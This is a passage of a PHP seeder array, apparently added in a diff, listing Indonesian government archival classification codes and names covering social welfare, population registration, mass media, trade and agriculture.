[ + 'id' => 824, + 'kode' => '461.3', + 'nama' => 'Cacat Mental', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 825, + 'kode' => '461.4', + 'nama' => 'Bisul/Tuli', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 826, + 'kode' => '462', + 'nama' => 'Tuna Sosial', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 827, + 'kode' => '462.1', + 'nama' => 'Gelandangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 828, + 'kode' => '462.2', + 'nama' => 'Pengemis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 829, + 'kode' => '462.3', + 'nama' => 'Tuna Susila', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 830, + 'kode' => '462.4', + 'nama' => 'Anak Nakal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 831, + 'kode' => '463', + 'nama' => 'Kesejahteraan Anak / Keluarga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 832, + 'kode' => '463.1', + 'nama' => 'Anak Putus Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 833, + 'kode' => '463.2', + 'nama' => 'Ibu Teladan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 834, + 'kode' => '463.3', + 'nama' => 'Anak Asuh', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 835, + 'kode' => '464', + 'nama' => 'Pembinaan Pahlawan', + 'uraian' => 'Pahlawan Meliputi: Penghargaan Kepada Pahlawan,', + 'enabled' => 1, + ], + [ + 'id' => 836, + 'kode' => '464.1', + 'nama' => 'Tunjangan Kepada Pahlawan Dan Jandanya', + 'uraian' => 'Perintis Kemerdekaan Meliputi: Pembinaan, Penghargaan', + 'enabled' => 1, + ], + [ + 'id' => 837, + 'kode' => '464.2', + 'nama' => 'Dan Tunjangan Kepada Perintis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 838, + 'kode' => '464.3', + 'nama' => 'Cacat Veteran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 839, + 'kode' => '465', + 'nama' => 'Kesejahteraan Sosial', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 840, + 'kode' => '465.1', + 'nama' => 'Lanjut Usia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 841, + 'kode' => '465.2', + 'nama' => 'Korban Kekacauan, Pengungsi, Repatriasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 842, + 'kode' => '466', + 'nama' => 'Sumbangan Sosial', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 843, + 'kode' => '466.1', + 'nama' => 'Korban Bencana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 844, + 'kode' => '466.2', + 'nama' => 'Pencarian Dana Untuk Sumbangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 845, + 'kode' => '466.3', + 'nama' => 'Meliputi: Penyelenggaraan Undian, Ketangkasan, Bazar, dsb', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 846, + 'kode' => '466.4', + 'nama' => 'Panti Asuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 847, + 'kode' => '466.5', + 'nama' => 'Panti Jompo', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 848, + 'kode' => '467', + 'nama' => ' Bimbingan Sosial', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 849, + 'kode' => '467.1', + 'nama' => 'Masyarakat Suku Terasing Meliputi: Bimbingan, Pendidikan, Kesehatan, Pemukiman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 850, + 'kode' => '468', + 'nama' => 'PMI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 851, + 'kode' => '469', + 'nama' => 'Makam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 852, + 'kode' => '469.1', + 'nama' => 'Umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 853, + 'kode' => '469.2', + 'nama' => 'Pahlawan Meliputi: Penghargaan Kepada Pahlawan, Tunjangan Kpd Pahlawan Dan Jandanya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 854, + 'kode' => '469.3', + 'nama' => 'Khusus Keluarga Raja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 855, + 'kode' => '469.4', + 'nama' => 'Krematorium', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 856, + 'kode' => '470', + 'nama' => 'KEPENDUDUKAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 857, + 'kode' => '471', + 'nama' => 'Pendaftaran Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 858, + 'kode' => '471.1', + 'nama' => 'Identitas Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 859, + 'kode' => '471.11', + 'nama' => 'Biodata', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 860, + 'kode' => '471.12', + 'nama' => 'Nomor Induk Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 861, + 'kode' => '471.13', + 'nama' => 'Kartu Tanda Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 862, + 'kode' => '471.14', + 'nama' => 'Kartu Keluarga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 863, + 'kode' => '471.15', + 'nama' => 'Advokasi Indentitas Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 864, + 'kode' => '471.2', + 'nama' => 'Perpindahan Penduduk Dalam Wilayah Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 865, + 'kode' => '471.21', + 'nama' => 'Perpindahan Penduduk WNI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 866, + 'kode' => '471.22', + 'nama' => 'Perpindahan Penduduk WNA Dalam Wilayah Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 867, + 'kode' => '471.23', + 'nama' => 'Perpindahan Penduduk WNA dan WNI Tinggal Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 868, + 'kode' => '471.24', + 'nama' => 'Daerah Terbelakan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 869, + 'kode' => '471.25', + 'nama' => 'Bedol Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 870, + 'kode' => '471.3', + 'nama' => 'Perpindahan Penduduk Antar Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 871, + 'kode' => '471.31', + 'nama' => 'Penduduk Indonesia Ke Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 872, + 'kode' => '471.32', + 'nama' => 'Orang Asing Tinggal Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 873, + 'kode' => '471.33', + 'nama' => 'Orang Asing Tinggal Tetap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 874, + 'kode' => '471.34', + 'nama' => 'Perpindahan Penduduk Antar Negara Di Wilayah Pembatasan Antar Negara (Pelintas Batas Tradisional)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 875, + 'kode' => '471.4', + 'nama' => 'Pendaftaran Pengungsi Dan Penduduk Rentan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 876, + 'kode' => '471.41', + 'nama' => 'Akibat Bencana Alam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 877, + 'kode' => '471.42', + 'nama' => 'Akibat Kerusuhan Sosial', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 878, + 'kode' => '471.43', + 'nama' => 'Pendaftaran Penduduk Daerah Terbelakang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 879, + 'kode' => '471.44', + 'nama' => 'Pendaftaran Penduduk Rentan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 880, + 'kode' => '472', + 'nama' => 'Pencatatan Sipil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 881, + 'kode' => '472.1', + 'nama' => 'Kelahiran, Kematian Dan Advokasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 882, + 'kode' => '472.11', + 'nama' => 'Kelahiran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 883, + 'kode' => '472.12', + 'nama' => 'Kematian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 884, + 'kode' => '472.13', + 'nama' => 'Advokasi Kelahiran Dan Kematian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 885, + 'kode' => '472.2', + 'nama' => 'Perkawinan, Peceraian Dan Advokasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 886, + 'kode' => '472.3', + 'nama' => 'Perkawinan Agama Islam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 887, + 'kode' => '472.4', + 'nama' => 'Perkawinan Agama Non Islam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 888, + 'kode' => '472.5', + 'nama' => 'Perceraian Agama Islam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 889, + 'kode' => '472.6', + 'nama' => 'Perceraian Agama Non Islam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 890, + 'kode' => '472.7', + 'nama' => 'Advokasi Perkawinan Dan Perceraian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 891, + 'kode' => '472.3', + 'nama' => 'Pengangkatan, Pengakuan, Dan Pengesahan Anak Serta Perubahan Dan Pembatalan Akta Dan Advokasi Pengangkatan Anak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 892, + 'kode' => '472.31', + 'nama' => 'Pengangkatan Anak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 893, + 'kode' => '472.32', + 'nama' => 'Pengakuan Anak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 894, + 'kode' => '472.33', + 'nama' => 'Pengesahan Anak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 895, + 'kode' => '472.34', + 'nama' => 'Perubahan Anak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 896, + 'kode' => '472.35', + 'nama' => 'Pembatalan Anak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 897, + 'kode' => '472.36', + 'nama' => 'Advokasi Pengurusan Pengangkatan, Pengakuan Dan Pengesahan Anak Serta Perubahan Dan Pembatalan Akta', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 898, + 'kode' => '472.4', + 'nama' => 'Pencatatan Kewarganegaraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 899, + 'kode' => '472.41', + 'nama' => 'Akibat Perkawinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 900, + 'kode' => '472.42', + 'nama' => 'Akibat Kelahiran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 901, + 'kode' => '472.43', + 'nama' => 'Non Perkawinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 902, + 'kode' => '472.44', + 'nama' => 'Non Kelahiran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 903, + 'kode' => '472.45', + 'nama' => 'Perubahan WNI ke WNA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 904, + 'kode' => '473', + 'nama' => 'Informasi Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 905, + 'kode' => '473.1', + 'nama' => 'Teknologi Informasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 906, + 'kode' => '473.11', + 'nama' => 'Perangkat Keras', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 907, + 'kode' => '473.12', + 'nama' => 'Perangkat Lunak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 908, + 'kode' => '473.13', + 'nama' => 'Jaringan Komunikasi Data', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 909, + 'kode' => '473.2', + 'nama' => 'Kelembagaan Dan Sumber Daya Informasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 910, + 'kode' => '473.21', + 'nama' => 'Daerah Maju', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 911, + 'kode' => '473.22', + 'nama' => 'Daerah Berkembang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 912, + 'kode' => '473.23', + 'nama' => 'Daerah Terbelakang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 913, + 'kode' => '473.3', + 'nama' => 'Pengolahan Data Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 914, + 'kode' => '473.31', + 'nama' => 'Pendaftaran Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 915, + 'kode' => '473.32', + 'nama' => 'Kejadian Vital Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 916, + 'kode' => '473.33', + 'nama' => 'Penduduk Non Registrasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 917, + 'kode' => '473.4', + 'nama' => 'Pelayanan Informasi Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 918, + 'kode' => '473.41', + 'nama' => 'Media Elektronik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 919, + 'kode' => '473.42', + 'nama' => 'Media Cetak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 920, + 'kode' => '473.43', + 'nama' => 'Outlet', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 921, + 'kode' => '474', + 'nama' => 'Perkembangan Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 922, + 'kode' => '474.1', + 'nama' => 'Pengarahan Kuantitas Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 923, + 'kode' => '474.11', + 'nama' => 'Struktur Jumlah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 924, + 'kode' => '474.12', + 'nama' => 'Komposisi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 925, + 'kode' => '474.13', + 'nama' => 'Fertilitas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 926, + 'kode' => '474.14', + 'nama' => 'Kesehatan Reproduksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 927, + 'kode' => '474.15', + 'nama' => 'Morbiditas Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 928, + 'kode' => '474.16', + 'nama' => 'Mortalitas Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 929, + 'kode' => '474.2', + 'nama' => 'Pengembangan Kuantitas Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 930, + 'kode' => '474.21', + 'nama' => 'Anak dan Remaja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 931, + 'kode' => '474.22', + 'nama' => 'Penduduk Usia Produktif', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 932, + 'kode' => '474.23', + 'nama' => 'Penduduk Lanjut Usia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 933, + 'kode' => '474.24', + 'nama' => 'Gender', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 934, + 'kode' => '474.3', + 'nama' => 'Penataan Persebaran Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 935, + 'kode' => '474.31', + 'nama' => 'Migrasi Antar Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 936, + 'kode' => '474.32', + 'nama' => 'Migrasi Internasional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 937, + 'kode' => '474.33', + 'nama' => 'Urbanisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 938, + 'kode' => '474.34', + 'nama' => 'Sementara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 939, + 'kode' => '474.35', + 'nama' => 'Migrasi Non Permanen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 940, + 'kode' => '474.4', + 'nama' => 'Perlindungan Pemberdayaan Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 941, + 'kode' => '474.41', + 'nama' => 'Pengembangan Sistem Pelindungan Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 942, + 'kode' => '474.42', + 'nama' => 'Pelayanan Kelembagaan Ekonomi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 943, + 'kode' => '474.43', + 'nama' => 'Pelayanan Kelembagaan Sosial Budaya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 944, + 'kode' => '474.44', + 'nama' => 'Partisipasi Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 945, + 'kode' => '474.5', + 'nama' => 'Pengembangan Wawasan Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 946, + 'kode' => '474.51', + 'nama' => 'Pendidikan Jalur Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 947, + 'kode' => '474.52', + 'nama' => 'Pendidikan Jalur Luar Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 948, + 'kode' => '474.53', + 'nama' => 'Pendidikan Jalur Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 949, + 'kode' => '474.54', + 'nama' => 'Pembangunan Berwawasan Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 950, + 'kode' => '475', + 'nama' => 'Proyeksi Dan Penyerasian Kebijakan Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 951, + 'kode' => '475.1', + 'nama' => 'Indikator Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 952, + 'kode' => '475.11', + 'nama' => 'Perumusan Penetapan Dan Pengembangan Indikator Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 953, + 'kode' => '475.12', + 'nama' => 'Pemanfaatan Indikator Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 954, + 'kode' => '475.13', + 'nama' => 'Sosialisasi Indikator Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 955, + 'kode' => '475.2', + 'nama' => 'Proyeksi Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 956, + 'kode' => '475.21', + 'nama' => 'Penyusunan Dan Pengembangan Proyeksi Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 957, + 'kode' => '475.22', + 'nama' => 'Pemanfaatan Proyeksi Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 958, + 'kode' => '475.3', + 'nama' => 'Analisis Dampak Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 959, + 'kode' => '475.31', + 'nama' => 'Penyusunan Dan Pengembangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 960, + 'kode' => '475.32', + 'nama' => 'Pemanfaatan Analisis Dampak Kependudukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 961, + 'kode' => '475.4', + 'nama' => 'Penyerasian Kebijakan Lembaga Non Pemerintah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 962, + 'kode' => '475.41', + 'nama' => 'Lembaga Internasioanal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 963, + 'kode' => '475.42', + 'nama' => 'Lembaga Masyarakat Dan Nirlaba', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 964, + 'kode' => '475.43', + 'nama' => 'Lembaga Usaha Swasta', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 965, + 'kode' => '475.5', + 'nama' => 'Penyerasian Kebijakan Lembaga Pemerintah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 966, + 'kode' => '475.51', + 'nama' => 'Lembaga Pemerintah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 967, + 'kode' => '475.52', + 'nama' => 'Pemerintah Provinsidan Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 968, + 'kode' => '475.53', + 'nama' => 'Pemerintah Kabupaten', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 969, + 'kode' => '475.6', + 'nama' => 'Analisis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 970, + 'kode' => '476', + 'nama' => 'Monitoring', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 971, + 'kode' => '477', + 'nama' => 'Evaluasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 972, + 'kode' => '478', + 'nama' => 'Dokumentasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 973, + 'kode' => '479', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 974, + 'kode' => '480', + 'nama' => 'MEDIA MASSA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 975, + 'kode' => '481', + 'nama' => 'Penerbitan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 976, + 'kode' => '481.1', + 'nama' => 'Surat Kabar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 977, + 'kode' => '481.2', + 'nama' => 'Majalah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 978, + 'kode' => '481.3', + 'nama' => 'Buku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 979, + 'kode' => '481.4', + 'nama' => 'Penerjemahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 980, + 'kode' => '482', + 'nama' => 'Radio', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 981, + 'kode' => '482.1', + 'nama' => 'RRI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 982, + 'kode' => '482.11', + 'nama' => 'Siaran Pedesaan Jgn Diklasifikasikan Disini', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 983, + 'kode' => '482.2', + 'nama' => 'Non RRI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 984, + 'kode' => '482.3', + 'nama' => 'Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 985, + 'kode' => '483', + 'nama' => 'Televisi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 986, + 'kode' => '484', + 'nama' => 'Film', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 987, + 'kode' => '485', + 'nama' => 'Pers', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 988, + 'kode' => '485.1', + 'nama' => 'Kewartawanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 989, + 'kode' => '485.2', + 'nama' => 'Wawancara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 990, + 'kode' => '485.3', + 'nama' => 'Informasi Nasional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 991, + 'kode' => '486', + 'nama' => 'Grafika', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 992, + 'kode' => '487', + 'nama' => 'Penerangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 993, + 'kode' => '487.1', + 'nama' => 'Pameran Non Komersil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 994, + 'kode' => '488', + 'nama' => 'Operation Room', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 995, + 'kode' => '489', + 'nama' => 'Hubungan Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 996, + 'kode' => '490', + 'nama' => 'Pengaduan Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 997, + 'kode' => '491', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 998, + 'kode' => '492', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 999, + 'kode' => '500', + 'nama' => 'PEREKONOMIAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1000, + 'kode' => '500.1', + 'nama' => 'Dewan Stabilisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1001, + 'kode' => '501', + 'nama' => 'Pengadaan Pangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1002, + 'kode' => '502', + 'nama' => 'Pengadaan Sandang Perizinan Pada Umumnya Untuk Perizinan Suatu Bidang,', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1003, + 'kode' => '503', + 'nama' => 'Kalsifikasikan Masalahnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1004, + 'kode' => '504', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1005, + 'kode' => '505', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1006, + 'kode' => '506', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1007, + 'kode' => '510', + 'nama' => 'PERDAGANGAN', + 'uraian' => 'Klasifikasikan Disini: Tata Niaga', + 'enabled' => 1, + ], + [ + 'id' => 1008, + 'kode' => '510.1', + 'nama' => 'Promosi Perdagangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1009, + 'kode' => '510.11', + 'nama' => 'Pekan Raya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1010, + 'kode' => '510.12', + 'nama' => 'Iklan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1011, + 'kode' => '510.13', + 'nama' => 'Pameran Non Komersil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1012, + 'kode' => '510.2', + 'nama' => 'Pelelangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1013, + 'kode' => '510.3', + 'nama' => 'Tera', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1014, + 'kode' => '511', + 'nama' => 'Pemasaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1015, + 'kode' => '511.1', + 'nama' => 'Sembilan Bahan Pokok, Tambahkan Kode Wilayah : Beras, Garam, Tanah, Minyak Goreng', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1016, + 'kode' => '511.2', + 'nama' => 'Pasar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1017, + 'kode' => '511.3', + 'nama' => 'Pertokoan, Kaki Lima, Kios', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1018, + 'kode' => '512', + 'nama' => 'Ekspor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1019, + 'kode' => '513', + 'nama' => 'Impor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1020, + 'kode' => '514', + 'nama' => 'Perdagangan Antar Pulau', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1021, + 'kode' => '515', + 'nama' => 'Perdagangan Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1022, + 'kode' => '516', + 'nama' => 'Pergudangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1023, + 'kode' => '517', + 'nama' => 'Aneka Usaha Perdagangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1024, + 'kode' => '518', + 'nama' => 'Koperasi untuk BUUD, KUD lihat ( 412.31-412.32)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1025, + 'kode' => '519', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1026, + 'kode' => '520', + 'nama' => 'PERTANIAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1027, + 'kode' => '521', + 'nama' => 'Tanaman Pangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1028, + 'kode' => '521.1', + 'nama' => 'Program', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1029, + 'kode' => '521.11', + 'nama' => 'Bimas / Inmas Termasuk Kredit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1030, + 'kode' => '521.12', + 'nama' => 'Penyuluhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1031, + 'kode' => '521.2', + 'nama' => 'Produksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1032, + 'kode' => '521.21', + 'nama' => 'Padi / Panen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1033, + 'kode' => '521.22', + 'nama' => 